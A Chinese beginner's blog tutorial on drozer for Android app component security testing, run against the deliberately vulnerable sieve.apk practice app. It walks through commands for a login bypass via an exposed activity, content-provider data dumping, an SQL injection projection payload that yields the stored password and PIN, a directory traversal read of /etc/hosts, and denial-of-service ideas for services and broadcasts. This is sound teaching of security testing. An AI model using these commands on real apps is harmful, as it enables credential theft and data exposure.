Drozer的安装和使用教程(入门)
这篇文章主要是对于app组件安全测试工具drozer的一个入门使用介绍,针对初入小白和记性很差的自己-0-
drozer是一款针对Android系统的安全测试工具,分成两个部分:
“console”:运行在本地计算机上,类似于控制台;
“agent”:是一个安装在终端上的代理app。
- 安装
目前网上的安装步骤很多也很详细,我这边就不多做赘述,只写一些注意点吧,避免踩坑或者找不到。
- 运行环境需要python2.7、jdk1.7
- PC端和移动端交互时需要adb命令,所以需要安装adb工具
注:adb下载和配置:
SDK Platform Tools 版本说明 | Android 开发者 | Android Developers
安装好后可以配置环境变量,这样可以更为方便的使用
直接将配置好的变量名配在Path中,然后检查是否安装和配置成功。
- 使用
2.1、这里我们用模拟器代替手机来进行app检测,所以将drozer的agent部分安装在模拟器中(类似于安装了个app)。
注:这里向模拟器中安装app可以有两个方法,一个是通过adb命令来安装: adb install 安装包(带路径);另外一个就是直接把要安装的app直接拖到模拟器界面中即可,这点是跟手机端安装有点区别的。
这里还需要一个测试用的apk包:sieve.apk
链接:
百度网盘 请输入提取码 ,提取码:gr12(这里是别人分享的,我自己也用的这个)
2.2、连接夜神模拟器
adb connect 127.0.0.1:62001(夜神模拟器默认端口为62001)
adb devices(查看链接的设备)
如此说明连接成功。
2.3、PC端运行drozer
drozer目录下运行cmd,然后进行转发并连接
adb forward tcp:31415 tcp:31415(就是将PC端31415收到的数据转发给终端的agent默认监听的31415端口)
drozer.bat console connect(连接终端agent)
注:1、可能部分人执行连接会报错,大概率可能性是没有把模拟器或者手机端的agent打开
2、终端agent打开后,还要注意转发端口是否已经开启
都准备好后,PC端执行命令,如下表示已经连接成功
- 实测
3.1、根据app名称得到app的包名
run aap.package.list -f sieve
3.2、查看应用的信息
run aap.package.info -a com.mwr.example.sieve
Application Label: app名称
Process Name: 运行该app的进程名称
Version: 版本号
Data Directory: 该app相关数据的存储路径
APK Path: app真正的package文件所在路径
UID: app关联的用户ID
GID:组ID
Shared Libraries:app使用的共享库
Shared User ID: 可以使用该app的共享用户的ID
Uses Permissions:权限列表
Defines Permissions:自定义权限
3.3、识别攻击面
run app.package.attacksurface com.mwr.example.sieve
根据攻击面检测展示可知四大组件分别有多少是对外暴露的,并且该app是可调试的
3.4、针对暴露位置进行攻击
准备攻击前,先打开sieve这个app,设置下密码和pin值,方便后续的测试。
3.4.1、测试activity的暴露点
Activity暴露容易造成界面绕过等风险。
显示暴露的activity的信息
run app.activity.info -a com.mwr.example.sieve
根据展示的信息,因为该app打开之后需要登陆才可以。但是发现上面展示的除了一个类似登陆的界面以外还有两个界面,并且没有设置权限,由此可能存在绕过登陆的风险。
生成intent中间件尝试拉起PWList和FileSelectActivity两个界面
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
发现PWList界面是一个存放登陆密码的地方,这样就可以获取登陆密码了。
3.4.2测试provider的暴露点
Provider的暴露容易造成数据库泄露或者SQL注入等风险。
显示暴露的provider的信息
run app.provider.info -a com.mwr.example.sieve
尝试枚举存在的uri
run app.provider.finduri com.mwr.example.sieve
使用扫描枚举可以访问的uri
run scanner.provider.finduris -a com.mwr.example.sieve
根据结果发现可以访问的有三个,逐个尝试访问uri
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
经观察,发现泄露了一些数据。
进行sql注入检查:
扫描器扫描存在注入点的uri
run scanner.provider.injection -a com.mwr.example.sieve
对发现的注入点进行SQL注入尝试
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’”
根据提示可能存在keys表,尝试查询其中数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “* from keys;--”
得到了sieve的登陆界面的密码和设置的PIN码
检测目录遍历:
扫描器扫描存在目录遍历的uri
run scanner.provider.traversal -a com.mwr.example.sieve
检测到存在目录遍历,尝试进行遍历
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts
另外还可以直接下载可遍历的文件
默认是下载到drozer目录下
3.4.3测试service的暴露点
Service的暴露容易导致敏感信息泄露,并可能受到权限提升、拒绝服务等风险
获取app中service详情
run app.service.info -a com.mwr.example.sieve
根据结果发现,service命名表现得像是权限和加密的服务没有设置权限,存在漏洞
尝试与暴露的且没有权限的service做交互
拉起服务
run app.service.start --action com.mwr.example.sieve.AuthService --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
尝试交互传参
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 1 2 3
可见当某些服务对外暴露且没有设置权限就会可能被外部轻易拉起,传入有风险的参数,获取敏感信息或提权,或者一直发送错误参数和请求导致拒绝服务。
3.4.4测试broadcast的暴露点
broadcast的暴露容易导致敏感信息泄露,并可能受到权限绕过、拒绝服务
获取broadcast receivers信息
run app.broadcast.info -a com.mwr.example.sieve
发现该app没有receivers信息,通过反编译该apk检查manifest文件发现确实没有配置
broadcast的风险点跟service类似,如果存在暴露也可以通过发送广播来获取响应
发送广播
run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>
嗅探广播的数据
run app.broadcast.sniff --action <action>
恶意发送不完整的intent或者空extras广播包导致拒绝服务
un app.broadcast.send --component <package name> <component name>
这边具体由于sieve没有广播组件,所以未展示出来命令执行效果。
结语:这是本人第一次开始总结一些东西,主要是也可以防止自己记性不太好,以后的文章都会尽量写的详细,希望都有用处吧~
Drozer的安装和使用教程(入门)相关推荐
- anaconda的python使用教程-Python安装教程之Anaconda入门使用总结
原标题:Python安装教程之Anaconda入门使用总结 如今参加Python培训学习Python开发的小伙伴对Python安装教程比较感兴趣,本篇文章小编就和读者们分享一下Python安装教程之A ...
- centos7 docker安装和使用_入门教程
centos7 docker安装和使用_入门教程 原文:centos7 docker安装和使用_入门教程 说明:本文也是参考互联网上的文章写的,感谢相关作者的贡献. 操作系统 64位CentOS Li ...
- Windows安装Redis 详细教程——《Redis入门》
Windows安装Redis 详细教程--<Redis入门> Redis windows下载地址:https://github.com/MicrosoftArchive/redis/rel ...
- Swoole入门指南:PHP7安装Swoole详细教程(一) 1
这里不在使用apache做为web server.该用nginx + php-fpm,性能更强大,配置更方便.并且为了跟上php的步伐,也使用了比较新的php版本 [x] centos7 [x] ph ...
- python3 [爬虫入门实战]爬虫之scrapy安装与配置教程
python3 [爬虫入门实战]爬虫之scrapy安装与配置教程 标签: python爬虫scrapy 2017-07-08 15:38 77人阅读 评论(0) 收藏 举报 分类: python3爬虫 ...
- 计算机组装在线视频,电脑安装《电脑组装入门教程》(全19集)
电脑安装<电脑组装入门教程>分为电脑内部安装和外部安装. 电脑硬件的组成及功能: 常见的电脑构成有主机.显示器.键盘.鼠标.音箱.还有打印机和扫描仪,是电脑重要的输出.输入设备. 1.主机 ...
- 【python教程入门学习】Python实现自动玩贪吃蛇程序
这篇文章主要介绍了通过Python实现的简易的自动玩贪吃蛇游戏的小程序,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学一学 实现效果 先看看效果 这比我手动的快多了,而且是单机的,自动玩没惹 ...
- 【helloworld】-微信小程序开发教程-入门篇【1】
1. 开篇导言 本节目标:旨在演示如何用开发者工具构建并运行简单的 helloworld 应用. 目标用户:无编程经验,但对微信小程序感兴趣的同学. 学习目标:开发者工具的基本使用流程,即创建.导入. ...
- Vue-cli3配置教程入门
Vue-cli3配置教程入门 vue-cli3推崇零配置,其图形化项目管理也很高大上. 但是vue-cli3推崇零配置的话,导致了跟之前vue-cli2的配置方式都不一样了. 别名设置,sourcem ...
- 加速深度学习在线部署,TensorRT安装及使用教程
向AI转型的程序员都关注了这个号???????????? 机器学习AI算法工程 公众号:datayx 1 什么是TensorRT 一般的深度学习项目,训练时为了加快速度,会使用多GPU分布式训练. ...
最新文章
- 国庆七天学Linux技能,休闲假期不负时光
- Python 深度学习,你的 Keras 准备好了吗?
- c语言按F1键运行,C语言的编译和运行按什么键
- tg2015 信息传递 (洛谷p2661)
- MySQL数据库的用户授权_查看权限
- JS中数组和字符串具有的方法,以及substring,substr和slice的用法与区别
- 微软为开源计算器加入全新的图形功能
- C++指针与数组的对比
- elisa数据处理过程图解_ELISA操作流程
- windows 下杀掉占用端口的程序
- 【机器学习数学基础】Mathematics for Machine Learning 梳理+习题答案
- matlab积分器的工作原理,[转载]Simulink积分器详解(图)
- 交通流特征工程小技巧与思考
- 局域网内时间同步配置
- Excel如何将两列数据左右调换位置
- 欧洲批准最强粒子对撞机计划,造价210亿欧元,全长100公里,耗资巨大引争议...
- 微信 公众号 JS接口安全域名 是啥 什么意思
- 磊科路由器dns服务器老要修复,路由器dns异常解决方法
- 【hadoop生态之ZooKeeper】第三章ZooKeeper内部管理【笔记+代码】
- JavaScript奇淫技巧:按键精灵